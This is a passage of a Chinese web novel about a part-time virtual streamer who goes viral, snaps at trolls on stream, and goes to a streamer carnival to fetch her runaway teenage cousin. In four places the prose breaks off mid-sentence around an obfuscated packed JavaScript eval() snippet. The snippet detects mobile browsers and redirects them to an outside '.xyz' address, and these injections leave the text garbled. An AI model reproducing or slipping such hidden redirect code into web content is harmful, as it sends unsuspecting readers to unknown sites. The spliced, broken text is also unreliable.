草莓摆在盘子里放在桌角，用没有沾水的右手来回操作鼠标准备开始迎接流量的迎面暴击。 这是宁檬第一次感受到流量的红利，也是她第一次在刚开播这么短的时间内上人速度最快最多的一次。 源源不断的人陆续进到直播间里来，有灯牌的没灯牌的，持续不停，并且没有要停下来的劲头。 直播间弹幕滚动得很快，宁檬刚开始一会儿没怎么看上面的内容，嘴里咬着没吃完的草莓，手上鼠标动静不停，发布出最新的视频之后才有时间停下来看弹幕内容。 暴涨了好几分钟的人数开始有慢慢的减少，原因无他，有看到视频作品更新的粉丝纷纷在直播间里口口相传，不少人去看新作品去。 不止是柠檬的直播间是这个样子，连同其他几人的直播间也同样如此，从宁檬开播到发作品，凑热闹的粉丝都在不停往她这里涌来。 在宁檬的后台最明显的表现还有一点，就是开播这么会儿时间里，主动来连线她的主播变多了，熟悉的和不熟悉的全都有。 宁檬看一眼电脑右下角的时间，又抬眼看到直播间的人数重新恢复涨幅，以及弹幕里各种夸赞的内容，约莫着是已经都看过刚刚发布的新视频作品，这才不紧不慢地在连线申请那里开始有选择的同意申请。 第一选择当然是酸醋余，毕竟这可是视频作品里出镜最多，配上文案和镜头最多的一个，还有一点就是，就私心来说，他们这些人里，酸醋余的长相颜值是最戳她审美的一个。 “你不是说不发的吗？” 两人刚同时出现在一个画面里，酸醋余第一时间就抛出问话。 皮套之下，宁檬歪着头坏笑，“我说的是不发完，但可以有选择性的发呀，再说了，你敢说我剪的不好？” 有一说一，在剪辑和拍摄这方面，宁檬的视频作品没得说，治愈系的风格对于她来说简直就是手拿把掐，舒适圈里后空翻完全不再次话下。 明明是搞怪扮丑的逗趣场景，配上宁檬温柔述说的旁白，以及互动的剪辑穿插和文字的标注，氛围感虽不如他们的作品，但各种感觉上都会让人能够静下心来，慢慢听她娓娓道来，讲述一段仿佛正在发生在眼前的故事一般。 有关于这方面的讲故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442500|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事能力，酸醋余和怪鸦已经不止是一次的说过，一直到今天晚上成为这故事中的一方主角，他们依旧是忍不住再次感慨夸赞。 没多久的功夫里，另外两位视频主角也紧跟其后，很快加入到这场有关线下见面和视频拍摄的“复盘”连麦聊天中。 只是很可惜的是，每次复盘到关键点宁檬都不怎么配合，也不能说是不怎么配合，她全程更像是心不在焉一般，只有cue到她，或者是点到她的名字时才会嗯哼几句回答，转头继续恢复沉默，动捕皮套之下的小人双眼往下耷拉着，不知道在看什么。 怪鸦皱着眉，问出每个人都很想问的问题，“柠檬你在干嘛呢，不是不加班了吗，怎么还心不在焉的，难道是被工作蹉跎得太厉害，现在精气神都没了?” “虽然并不是这个原因，但是有句话你说得没错，那就是工作的确是会蹉跎我的精气神，下次你们再见到我，就不会是之前那样光鲜亮丽了”，宁檬停下键盘上打字的动静，轻叹一口气关掉和同事的聊天页面，心情很是苦闷，人是不在公司的，结果工作却是没有停止的，早知道之前骨折居家办公那段时间，复工后就应该第一时间去找同事关掉自己的远程操作权限。 可能是直播间里同样身为打工人的粉丝比较多，这句话引起不少共鸣，然而无论何时都存在着一批关注点很奇特的人在，她们始终关注着二次元皮套之后的真实长相。 人红是非多说的就是眼下这种情况，宁檬的直播间里节奏大到起飞，各种问长相的，也有很多各种阴阳怪气的弹幕内容。 宁檬安静看着弹幕内容，有些被逗乐了，真是林子大了什么鸟都出来了，还有的在顶着不知道是哪个主播的粉丝灯牌出现在直播间里，说着些牛头不对马嘴的字眼。 双臂抱在胸前，笑意眯眯看着电脑屏幕，听他们三人说话，也看弹幕里的热闹，最后冷不丁开口，直接让整个直播间死寂一片，弹幕里更是风向清一色的一边倒。 “来看热闹的那些脏东西，你们要是看不惯我呢，那别出现，要是非想找点存在感呢，那就忍住吧，毕竟我就是会蹭流量，有本事你也让他们给你拍视频，或者有本事你也长一副好身材，然后和帅哥同框拍视频呗，哦对了，我忘记了，你们又不认识什么大网红帅哥，确实有点难哈”，宁檬扯了下嘴角，这个表情在皮套动捕之下反而更加具有嘲讽的感觉。 “我呢倒是不在乎这些，毕竟身材我就是很不错，至于长相，勉勉强强也看得过去吧，能力方便的话，起码有工作能养活自己，偶尔还能剪点视频，画点感兴趣的东西，哦对，还有最大的一点，拥有一身反骨，你们不是看不惯我吗，那你们以后可有的受了，我加班阶段结束了，以后每天都准时直播，希望不要被气死哦~” 巴拉巴拉一顿输出，直播间里另外三个人直接看傻眼，他们吃这口饭，有时候为了流量会割舍和忍气吞声很多，像宁檬这样直接不管不顾直接开怼的处理方式，一般情况下都是最次的选择。 不过有一说一，看着宁檬一脸不屑的怼人说话，他们都能想象到皮套后面的女生会是什么表情。 简单过去一会儿的时间，在直播间里正常粉丝和管理员的清扫之下，氛围逐渐恢复正常，宁檬吃了一个草莓，看着另外三人闭嘴噤声的模样，开始说话： “那什么，打断你们聊天不好意思啊，实在是上班已经够受罪了，不能下班还遭罪憋屈吧，牛马的超绝怨气精神状态，你们包容一下。” 酸醋余，怪鸦和张毛毛三人各自表情都是呆愣神色，不约而同一起竖起大拇指，为她点赞，事情发酵几分钟之后，变成四个人表情同时呆滞，被直播间上方闪过的礼物播报震惊而瞪大了双眼。 14. 水逆 见识过因为颜值高而一掷千金的大哥，也看到过因为主播搞笑有梗而频繁驻足直播间的粉丝，更是有被才华和三观折服的高追求人士，但是因为挨骂被骂爽了，在直播间里大笔一挥，疯狂送礼物的人，这还是头一次见识到。 怪鸦就是难得地心软，拿出手机登录小号准备去柠檬直播间刷点礼物撑场子，刚点进直播间里就看到礼物的特效接连不断，看特效动画就一眼便知的高价人民币代表的礼物典型，而且还不是一个。 这礼物特效，和直播间的人数那就是今非昔比，不点进去她的主页去看详细粉丝数量，可能都会去猜测这是个已经流量好很久的网红二次元主播。 而实际情况是，宁檬的粉丝体量也就是刚突破15w而已。 看到又跳动的粉丝数字，怪鸦忍不住感叹，果然有颜在哪里都吃得开，尤其是互联网上。 仅仅只是出现了身材，甚至没有完整的看到真实长相，也是会有这么多人买账，真是应了那句网恋里会出现的“只要不爆照，明星什么样你就什么样”。 当然呢，宁檬长得的确也不差，确实是配得上这些流量和热度。 正要退出直播间时，怪鸦瞥一眼手机，神色突现大变，直接抬头看镜头，在直播间里上演了一出和粉丝之间的爱恨纠葛名场面。 “丸子！你的墙头果然是多，现在就爬到柠檬那去了吧，什么时候还回来吗，这里还需要给你留个坑位吗？” 怪鸦说着话，宁檬的直播间里的礼物送出栏里还出现着被叫到名字的粉丝在上面，不少看热闹的粉丝都纷纷窜到柠檬的直播间里看。 宁檬一个劲笑，看着这两个人竟然隔着直播间对话起来了，一个在自己直播间直播，一个在她这里飘屏发弹幕，这样的互联网距离还能对上话互怼，也真是欢喜冤家主播和粉丝。 [丸子：哎呀，淡定啦，柠檬又不是外人，再说了，这么好看有气质，而且还有能力，谁不喜欢看，你不喜欢别故意骗人给你拍视频啊，是吧，大骗子——] “我——我那是PK赢了应得的，退一步讲，我那顶多是阳谋，算不上骗子”，怪鸦说话时的表情眼神飘忽，在这件事上面始终不太有底气反驳。 宁檬看着她们两人的相爱相杀不亦乐乎，偶尔还会帮着粉丝说几句话，毕竟这种事呢，好歹是吃人嘴短，拿人手短。 少有的一次，在这种局里宁檬拿到了pk胜利，一时间不知道是不是他们几个大主播现在变差了，还是自己真的好起来了。 “那就罚老余给二毛表白一个吧”，宁檬好整以暇地看着屏幕里的两个人露出坏笑。 现在这个流量大趋势下，无论哪个行业里都要靠cp炒一波流量，他们直播网红行业也不例外。 正好今天还刷到过粉丝剪辑的这两人的cp向视频，虽然不会当真，但也不耽误当个无聊生活里的乐子看一看，毕竟这两人一个大直男，一个满脑子都只要钱天天想暴富的家伙，哪个都不可能弯的。 就是因着这个原因，宁檬才敢大胆开麦提这种惩罚，反正不会成真。 怪鸦作为没被点名的一个，更是大胆开笑，心里暗自点赞，不愧是柠檬啊，一点不怕节奏起飞，她还自己下场带一波大的。 酸醋余舌尖在嘴中顶了下腮，咬着牙笑着答应，“好好好，柠檬好起来了，第一剑先斩同苦的好搭档，直播间的各位都记好她的嘴脸，你别让我抓到机会！” 突然流量暴涨的首次直播，宁檬在下播前的确收到不少粉丝的关注，有因为她在直播间表现的什么都能玩得来的性格，也有更多则是因为和三位帅哥的共创来的。 总的来说，这泼天的富贵流量，她其实有些挺无措的，牛马当多了，虽然每天想着天降横财，但也一直清醒地知道不过是在做梦罢了。 第二天晚上的时间，大多数人在等待宁檬开播，不止是同为主播圈的朋友，还有更多最近流量吸引来的新粉。 而结果是，没有结果，没有任何征兆和理由的没开播，而且是在她流量最高涨的时期。 不过对于她突然没缘由的不开播，似乎没有人觉得有什么，甚至更多的人竟生出共情来，毕竟牛马身份，总能凭空生出多到数不清的限制约束来。 其实在粉丝不知道的时间里，宁檬也没好到哪里去。 本来就快要进入到交付阶段的工作模块，突然被团队leader告诉仿真过程里发现了些问题，现在设计那边这几天刚加班加点做出了对应的修改，需要她这边也赶紧改一下，下个周就要交付，进入下一个阶段。 好嘛，设计他们只需要轻轻的调一个参数和调换一下类型的功夫，最后的仿真结果达到预期就ok了，可是到她负责的这部分工作内容，那简直就是天差地别，极致的简与繁的差别。 因为这个原因，宁檬也试图去据理力争过，可是结果不出意外，也是每次这种时候都听到最多的话。 “我已经努力把改动降到最低了，现在这些改动都是没办法避免的了。” 宁檬老老实实接受这个回答，和丞伟一起分了分工作内容，开始这天降的加班加急任务。 果然，牛马突然的工作任务，就是稳定情绪保持里最大的绊脚石。 连续一个周的加班工作，也就是第二天时通过酸醋余的口中得知了不开播的原因，粉丝只能表示，牛马打工人的确心酸。 终于熬到修改工作内容的结尾，日子可算是有了盼头，起码能看到不加班正在向她招手了。 身体习惯了双休的作息，突然的被叫来周末加班，连着上半个月的班，浑身上下就没有一点是舒服的，哪哪都不舒服。 周四下午的时间，总算是卡着老大给的最后时间把修改以后的内容上传至云端，接着连写邮件抄送时的心情都是愉快的。 邮件按下发送键那一刻，宁檬感觉她的心情达到了前所未有的轻松和兴奋。 听前面的键盘敲动的频率声音，看来和她一起加班的男生也这么觉得，两个人终于迎来松一口气的时刻。 一波刚平，一波又来，宁檬靠在椅子上，手机还没玩热乎呢，就看到手机屏幕上方，等待着她接听的语音电话。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451528|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是爸妈，也不是弟弟，更不是朋友同学，这二姨打来的电话实在不像会是个好事。 揣着不怎么好的预感从工位上走出去接电话，刚听到第一声那个语气，宁檬已经开始单手扶额，默默想给自己烧一炷香祈求转运。 她最近是走什么水逆路线吗，怎么倒霉事一个接一个。 “行，好，小姨，你别着急，也别乱想了，肯定会没事的，交给我好了。” 诸如此类安抚的话语，宁檬在电话里重复了不知道多少遍，原因无他，就单纯是安抚长辈她们自己的胡思乱想，本来就没有太需要担心的事，在她们脑海里总能脑补出各种最坏，以及超级坏的过程和结果。 单手搭在楼梯拐角的扶手上，后腰轻轻也抵了上去，叹气的声音并没有刻意压着，这会儿如果楼上或者楼下有人进入安全通道，就一定能听到她轻叹的动静。 刚结束加班，就迎来新一轮的另类“加班”。 在一众联系人里找到表妹的名字，距离上一次聊天还是一个多月前，刚一点进她的个人页面，上面的头像一瞬间跳变，吸引到注意力。 宁檬顺着点进去，不看还好，这一看，火气真的是蹭的一下就上来了。 这是谁啊，真是太难猜了。 咬咬牙轻轻冷哼一声，点了保存，缩小头像后又补了一张截图，全部打包发给联系人里的某人。 拒接电话，拎包追线下，和家里人闹不愉快，她这个表妹倒是挺有能耐。 明明是临近高考的高三毕业生身份，还敢在这不到一百天的时间里追线下，追的甚至还不是大荧幕上的明星，这真不怪二姨会生气，宁檬这会儿气得也不轻。 坐在工位上慢慢调整情绪和呼吸，大口吸气和呼气，高铁出票的信息已经通过短信发送到手机上，而她亲爱的表妹的微信回复依旧没有动静，以及头像里的正主本人也没有消息回复。 都是神人，神经病的那种人。 宁檬气得在心里狠狠吐槽了一下，又经过差不多一个小时时间把剩下不多的工作内容交接给丞伟，最后又墨迹一小会儿，这才去主管老大旁边去申请请假。 说是申请请假，其实公司的OA系统上的请假申请早在半小时前就已经填好提交过了。 幸运的是，她所在组的老大属于技术型工作设计人员，对于人员管理没有隔壁组主管要求多，对待这些请假的申请，大多会合情批准。 半小时之后，宁檬已经出现在去往虹桥高铁站的地铁上，可能是工作时间点的原因，刚上去就找到个空位置坐下。 从坐下开始，捧着手机打字的动作就没有停下来过，脸上双唇始终紧抿着，时而自嘲般冷笑，时而咬咬牙用舌尖顶了顶上颚，无奈的笑从头贯彻到尾。 人被气极了，是真的只剩笑了。 她这个表妹最好能早点回消息，否则她真的很难想象，牛马工作中的怨气能不能够忍得住不发出火，继续在美美面前保持着好姐姐的形象。 牛马专属怨气和火气，在看到回复消息的瞬间完美地融合，化作怒火，板着脸开始打字。 15. 会场 被家长约束管的学生，即便是这种时候也不会认识到自己的错误，并希望能得到宁檬的场外人情帮助。 【宁佳琪】：姐，你帮我给我妈说点好话呗，我真的就这一次，真的，我发誓，等回家后我肯定老老实实备考，你说一我不二。 【柠檬】：我可不说一，你也不用听我的，我可不是你老妈。 和这小祖宗来回掰扯好半天到现在，耐着性子给学生叛逆时期的表妹维护她易碎的个人自尊心，苦口婆心分析这里面的利与弊，年龄相差比较少，且平时的相处模式比较轻松的原因，在这上面没有花多少时间，整体来说，她这小表妹还是很乐意听她的话的。 两个小时的高铁路程，到达嘉年华走秀廊所在的位置，宁檬稳住宁佳琪后，另一边正好也开始收到回复的消息。 【酸醋余】：大忙人，怎么你也有朋友喜欢我呢，是要帮忙要签名照吗，一顿饭一张，过时不候哟~ 宁檬扯动嘴角笑了一下，嘲讽味拉满，手指频率飞快开始打字。 正在长话短说的消息还没有完全编辑完，对方的消息已经又发来一条，这次是一张图片，看图不难猜测，估计是刚化好妆。 有一说一，酸醋余的长相是真的没得挑，在化完妆之后更是出挑得明显。 【柠檬】：我有个问题，嘉年华会场里能带人进去吗？ 手机对面回消息的速度很快，不像刚刚如同死了一般就是没有动静。 【酸醋余】：你是要来吗，当然可以了，我可以让助理去接你。 得到这个肯定的答复，宁檬心里轻松不少，起码她在表妹那边有了对付的办法，减少不少麻烦。 心里的小九九还在盘算着，手机屏幕上已经从聊天页面突然切换到语音电话的页面，下意识低头看到来自酸醋余的电话。 宁檬的第一反应是晾着，她是真的有那种莫名其妙的电话恐惧症，有时候聊天也是，语音条喜欢转文字，和别人发消息时能打字就绝不发语音，至于语音电话和视频电话更是少之又少，能避则避。 她的这个毛病，没少被朋友她们说典型社恐表现症。 硬生生看着这个语音电话铃声重新循环第二遍，这才不情不愿地划了接听的绿色按键，怎么说也是有求于人，态度首先要放端正。 宁檬在心里一直如此告诉自己，给自己做心理建设，克服脑子里这些有的没的的坏毛病。 “你不应该在忙加班吗，都直接在个人主页挂请假条的大腕，嗯？” 酸醋余半靠在椅子上，一只手拿镜子，一只手轻轻地整理脑门上的刘海碎发，口中的话充满着朋友间的挖苦意味。 宁檬默默眼皮往上掀，隔空白了他一下，她倒是想不忙不加班啊，这工作上刚轻松下来，表妹不就立马给她添加了麻烦事来。 在电话里简单几句带过这件事，说清她去的目的，听得酸醋余在镜子里眉头开始不禁打结收拢。 现在的孩子都这么不把自己的事当回事的吗？ 挂断电话后很久的时间里，酸醋余都在思考这个问题，认真地想了很多，以这件事为中心出发点，通过思维发散一直沉思到其他朋友过来才悠悠回神。 另一边，宁檬一直和表妹有通过手机联系，这倔驴脾气的表妹所有人电话不接，消息不回，也就只有平时亲近的宁檬还能联系到她。 特别是在得知宁檬说有办法给她弄到签名和周边之后，对待宁檬的态度更是三百六十度大反转，即使是在和同好网友聊天等待的间隙，也始终关注着手机里消息的提醒，生怕漏掉姐姐的一条消息导致到嘴边的好机会跑了。 从出发到到达嘉年华今年的举办地，整个过程里宁檬都是火急火燎的，一边自己觉得好歹高中了肯定不会有什么事，一边又是老爸老妈，在二姨的催促下隔不几分钟就在群里追问“找到了吗”“你到了吗”“你看到你妹妹了吗”等等。 有时候看到她们那些问题，她真的想回一句“有本事你们自己来找啊，既然不能来，就好好等着消息不就行了”，只是脑子想的是一回事，真做出来又是一回事。 人怎么能窝囊成这个样子，在公司里倒霉催的就算了，在长辈面前也只有忍受的份，果然这个社会时代对她一点都不友好，从小到大一直都是。 道德感高的人，就是对自己的道德绑架，宁檬对自己这种道德标兵的行为从心里唾弃，可偏又跨不出这个标准原则线。 临到场地周围，宁檬已经能够看到不少人群，女孩子巨多，从面容上判断年龄的话，果然是个个貌美如花，人均十八。 看着手机屏幕上的共享定位，宁檬干脆站在原地，等着另一个小红点自己找过来，被这么几天的折腾，她是真的累了。 【柠檬】：我到了，怎么去找你助理？ 开门见山的，一点都不客气直接问。 【柠檬】：［视频］ 做事做齐全，把周围的环境，和门店，建筑什么的都收进视频里，方便作为地标被认出来，在视频之后还追加了一个定位。 【酸醋余】：我知道你在哪了，你待会儿先往南边走一点，离入口近。 【柠檬】：我不分东西南北，全靠指南针，错了我可真不知道。 【酸醋余】：得，你看看周围有没有路标，那上面总该有方向指引了吧。 打字聊天拌嘴的功夫，宁佳琪已经如愿找到宁檬，在马路对面朝着宁檬的方向大叫招手，回头率还是挺高的。 一向带有包袱的宁檬在周围人目光投过来的时候，才开始注意到她仓促从工位出发，只穿着一身休闲到不能再休闲的穿搭，头发上的鲨鱼夹还是坐高铁睡觉休息时才摘下来的。 整个人的气质虽然说不上蓬头垢面，但和身边这些姑娘家家的比着，她多少还是有些格格不入的——大宽松加绒卫衣，还是酒红色，黑色牛仔裤，再配一双万能百搭小白鞋。 她的格格不入不是年龄上的，更多的是风格上的，纯素颜的休闲风，和精致的貌美风，马路这边和那边犹如两个世界领域。 不严格来说，在她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456916|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司那种大多人男人的工作环境里，她这身休闲装其实已经很有穿搭风了，也没有随意敷衍应付到不能入眼的嫌弃地步。 宁佳琪小跑刚一过来，站定在宁檬面前上下打量，一只手抱胸，一只手轻摸着下巴抿嘴思考的样子。 过了好半会儿，宁佳琪慢悠悠开口，“姐，你该不会就是柠檬吧？要不然你怎么会认识酸醋余呢，你们又不是一个地方的？” 再合理不过的猜测，只得到宁檬抬抬眼皮的反应，很快就若无其事地收回目光，跟着指南针抬脚率先走开。 “他是转校生还不行吗，就待了一学期，我和他也没多熟。” 宁檬的回答从前面传来，听起来真像那么回事，而只有她自己知道，自从工作后，她张嘴就来的胡扯能力有多么非一般的提高。 没办法追问的学生时代，宁佳琪瘪瘪嘴角没再继续这个话题，跟在宁檬身后，有意无意地故意拉开距离，眼睛在手机和前面人身上来回交换，试图通过和手机视频里的身形做对比，自己得到结论。 遗憾的是，相比着之前的共创视频里出现穿的衣服，宁檬今天穿的衣服是掩盖身材的类型，两者之间很难有能对得上的相像之处。 至于直播时的声音，在声卡加持后的声音，和现实中的说话声其实也有挺大差距，没办法拍板定音确定声音主人。 磨磨蹭蹭一直到场地入口，宁佳琪刚平复下来的情绪，在远远看到某个身形的时候乍起。 作为唯三见过宁檬线下长相的人之一，张毛毛因为飞机晚点来得晚，还没有开始化妆，正好被酸醋余委托帮忙去接人进来，本来是他自己要去，最终考虑到带妆出去容易被认出，就放弃了这个念头。 张毛毛头顶一顶鸭舌帽，黑色口罩焊牢在脸上，第一眼看过去，宁檬其实并没有认出来他，即便是经常在直播间里看他那张脸。 穿得简单，也没化妆，身边更没有跟着人，可从里面出来的张毛毛还是第一时间被直播间常在粉丝认出来，只是就那么几个人，其中还包括宁佳琪在内。 “他刚化好妆，不敢出来，在里面等你呢”，张毛毛直接从宁檬身侧短暂的停下，转身往回走，在前面领路，让外人看不出他们是否熟络，“话说今天周四，你不应该在上班吗，怎么会来参加嘉年华，难道是你也收到了邀请函？” 说多错多，说的便是张毛毛，一张口就让宁佳琪竖直了耳朵去听去猜，脑筋从来没有像现在这个时间一般转得飞快，一贯空耳的听力现在也是集中了注意力在耳朵上。 宁檬欲言又止，拿着手机，用机身背面对着他肩膀轻拍一下，给他一个眼神，“我去哪弄邀请函，用偷的？还是说用抢的？” 作为牛马外地打工，通过副业搞点钱，宁檬还不想被人扒马甲，只是她死也没想过她的马甲现在岌岌可危，正好撞上了宁佳琪的娱乐直播方式。 眼神里不自觉地漫上怨念，偷偷瞥一眼旁边的女生，只能在心里默默叹气认栽，她这不温不火的网络马甲可能真的就要终结在今天了…… 16. 内场 没多长一段路，宁佳琪已经成功发挥她e人的社交属性，亦步亦趋跟上张毛毛的步子各种打听，好像她才是那个关系联络人，而宁檬是被顺带的。 宁檬跟在她身后，一双眼睛打量着四周，能看到不少来自直播平台的网红主播，有不熟悉的，也有一点点熟悉的。 一路走过来，张毛毛和不少人点头打招呼，还不忘回答宁佳琪的聊天问题。 “你怎么这么多问题，消停会儿不行吗？一张嘴叭叭叭个不停，听得我头疼”，宁檬单手轻按在宁佳琪肩膀上，仿佛一双扼住命运的咽喉的大手没有任何征兆的降落。 好不容易进到嘉年华会场里，又有这么多帅哥美女网红主播，宁佳琪是怎么也不可能消停下来的。 她试图掰开肩上阻止她的那只手，想要去找人合照，然而事出未半便被宁檬冷下来的一个眼神打住。 “我告诉你，我来这里不是给你天降福利的，是你妈妈，我小姨好不容易专门拜托我带你回去的，你最好给我老老实实待着跟着我，不然我会做出什么我自己也不确定，要知道我今天是从公司拿年假请假来的，你大胆猜测一下我的怨气有多大。” 宁檬说话时表情风轻云淡的，简直就是在用最平静的口吻说充满威胁的狠话。 所有的亲戚里，宁佳琪很不想承认，她最怕这个表姐，也最亲近她，其中的原因不仅仅是年龄相仿，更多的因素也是因为宁檬会真的很认真的换位思考，不用长辈口中的老一套来约束她。 一顿输出结束，宁佳琪抿着双唇看她，愣半天没敢说话，手上挣扎摆脱的动作幅度也消失不见。 张毛毛更是没见过宁檬这幅样子，直播间里互怼那都带着玩笑的成分，但是现在这种面无表情才是更可怕的，给人一种平静后即是暴风雨的错觉。 两个人一大一小对视一眼，默契得都没有接话，短暂沉默之后，宁檬抬头视线扫过的地方恰好撞上酸醋余走来的方向，轻咳两声，缓缓开口，“你别乱跑，听我的话，不会失望就对了。” 被人莫名其妙地差遣过来接人，又看着气氛剑拔弩张的两姐妹单方面施压，张毛毛八卦的心真的很狂热。 “这到底怎么个事，还有这个小妹妹和柠檬到底什么情况啊？” 张毛毛凑到酸醋余耳边，压低音量用只有两人能听到的声音打探。 酸醋余一张嘴如同按了开关，对他的问话置之不理，“化你的妆去吧，小心一会儿时间不够用。” 简单一句话轻而易举被拿捏，张毛毛努下鼻子，双唇打架蠕动愣是没说出半句反驳的话出来。 化妆的时间还真有点不太够了…… 小跑着溜回休息室，连分别说一声都没想起来，留下宁佳琪一脸没来得及整理的惊讶和错愕。 “姐，姐……你真有人啊？” 目睹了酸醋余和张毛毛之后，宁佳琪突然想起来见面前，微信聊天里宁檬说过“我有人安排”这种话，那时候还以为只是简单的玩笑话，现在再回看，原来那个玩笑好像其实是她自己才对吧。 宁檬垂下眼帘，朝她的方向瞄了一眼，并没有太多神色变化，漫不经心说着： “呐，这下见到真人了吧，回家之后该怎么样不用我再强调一遍了吧？” 每个字都很平和的措辞，但是连在一起就是另类的压迫和威慑。 宁佳琪的头如同捣蒜般频繁，嘴角就差没有咧到脑后跟了，拿着手机的那只手垂在身前跃跃欲试。 小眼神频频瞟向宁檬的方向，不太敢轻举妄动。 “姐~” “去去去，想干嘛干嘛，至于他配不配合你，看你自己本事了”，宁檬早就注意到小女生的动作和小眼神，仿佛甩小尾巴似的嫌弃说着。 “太好了，姐，我爱死你了，你以后是我追的最大的星！” “谢谢您啊，我怕折寿，你还是继续追你的爱播吧，我就不分一杯羹了。” 宁檬有些哭笑不得，双手揣进卫衣口袋里，眼神开始变得缓和，看着酸醋余无措的神情和表妹激动兴奋的眉眼，而她自己则进入到前所未有的放松状态里。 嘉年华其实已经开始，只不过不是酸醋余他们所属的领域，一时半会儿还不会轮到他们，所以在后台这块区域里看到不少其他网红主播，特别是他们经常连麦的娱乐颜值主播这块。 一小会儿的功夫，宁佳琪已经和好几个眼熟的主播合上照，帅哥美女皆有，她更是乐得合不拢嘴，酸醋余站在她旁边竟有些花瓶摆设的即视感。 宁檬低头看手机，人在外地，还要被同事追问项目的内容，脸色并不怎么好看。 “干嘛呢，表情这么难看？” 酸醋余靠近她旁边，微微歪头好奇发问。 “当牛马呢”，宁檬头也不抬的继续手上打字的动作，转了个身开始往一边没人的地方走，看她那动作应该是在发语音条。 站在距离她两三米的位置，依稀能听到些许内容，果然话语的内容里掺杂着英文名词，就像她之前直播时吐槽过的，好好的中文不用，非得拿英文简称，不知道这中英掺杂的说话，是能显得更高级还是真的高级啊？ 来自宁檬直播间的评价：一个字，装。 酸醋余姿态懒散站定原地，时不时和路过的三两好友点头打招呼，目光始终都紧锁在宁檬身上，看她从最开始的长按手机发语音条，再到后来的直接电话丢过去。 大概有五分钟时间，结束休息时突如其来的工作，宁檬整个人都神清气爽起来，走过来时语气轻快很多，“终于可以好好看帅哥美女了，舒服。” 抛开工作的影响因素后，酸醋余这还是第一次见到宁檬轻松开怀的神情，和上次相比，更有种小孩子的心性藏在其中。 “怪鸦呢，怎么没见他？” 宁檬随口一提，听得表妹本能反应般回头看过来，一双眼睛提溜瞪大，有着跃跃欲试的疑问。 酸醋余垂头笑了下，再抬头朝着不远处指了指，“试西装呢，听说今天的西装是专门花了心思定制的，刚见到我听说你会过来，还说要惊艳你呢。” “嗯哼？那我等着咯。” 宁檬摆摆手转身收了手机，满脸笑意看向宁佳琪，难得好心主动伸手要了她的手机，冲着酸醋余的角度，“劳驾，练个手，谢谢二位。” 她拍和自拍还是有挺大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463067|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差距的，尤其宁檬还是个半专业的摄影爱好者，随随便便出的图都是绝佳角度和构图。 闲聊差不多有几分钟时间，刚刚口中提到的人已经从侧边更衣室里悠悠走出，招摇得像个花仙子似的。 顺着宁佳琪惊呼赞叹的目光看过去，怪鸦身着天蓝色西装，衣服上在专门设计的位置缀着同色系，颜色深浅不一的玫瑰花在上面绽放。 “他这衣服肯定不便宜”，宁檬看到时也有一同被惊艳到，惊叹过后便是超级现实主义的金钱衡量派发言，“不过真挺好看的，很衬他气质。” 该夸的时候还得夸，损友也不能无时无刻都做不是。 “姐，你们这么熟的吗？” 宁佳琪早就收了手机，拍是拍不完的，干脆学起宁檬来，如她一样一双眼睛大饱眼福。 对于和主播朋友之间的关系，最开始遮遮掩掩，越到后面越有欲盖弥彰的意思，再装下去反倒有些做作了。 酸醋余挑眉看她准备怎么收场，好整以暇地站在旁边看热闹，还不忘给刚走过来的怪鸦介绍讲解现场是怎么个状况。 犹豫和纠结只短暂地存在几秒钟，在宁佳琪满是八卦和期待的眼神里，宁檬到底是没有狠心继续坚持自我。 “哎，我赢了，今晚的饭你请客。” 酸醋余单手搭在怪鸦一侧的肩上，听到宁檬给出肯定回答的那一刻，直接伸手朝着怪鸦上下抬动，满脸得意。 就在刚刚，听完宁檬这抓马的经历，怪鸦还没来得及共情上她，两个人就开始一场关于“马甲是否能捍卫住”的下注中。 怪鸦站能，酸醋余站不能，而且还是主动摊牌的一方。 “我说柠檬，要捂马甲你就尽点心好吧，这又捂又漏的，算哪门子？” 刚打赌输掉一顿饭，说话的语气上难免有些怨怼在，无意识间就被带上了。 